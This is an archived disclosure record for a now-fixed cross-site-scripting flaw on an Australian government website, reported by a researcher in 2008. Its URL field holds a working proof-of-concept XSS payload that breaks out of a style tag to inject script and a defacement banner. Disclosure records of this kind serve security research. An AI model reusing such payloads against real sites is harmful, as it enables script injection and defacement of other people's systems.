www.ag.gov.au cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher Mystick, has submitted on 04/12/2008 a cross-site-scripting (XSS) vulnerability affecting www.ag.gov.au, which at the time of submission ranked 204405 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 07/01/2009. It is currently fixed.

Date submitted: 04/12/2008

Date published: 07/01/2009

Date fixed: 08/04/2009

Status:

FIXED

Author: Mystick

Domain: www.ag.gov.au

Category: XSS

Pagerank: 204405

URL: http://www.ag.gov.au/www/agd/rwpattach.nsf/VAP/(CFD7369FCAE9B8F32F341DBE097801FF)~model+agt.pdf/$fil
e/model+agt.pdf%7D%3C/style%3E%3Cscript%3Ea=eval;b=alert;a(b(/XSS/.source));%3C/script%3E'%22%3E%3Cm
arquee%3E%3Ch1%3EMystick%3C/h1%3E%3C/marquee%3E

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention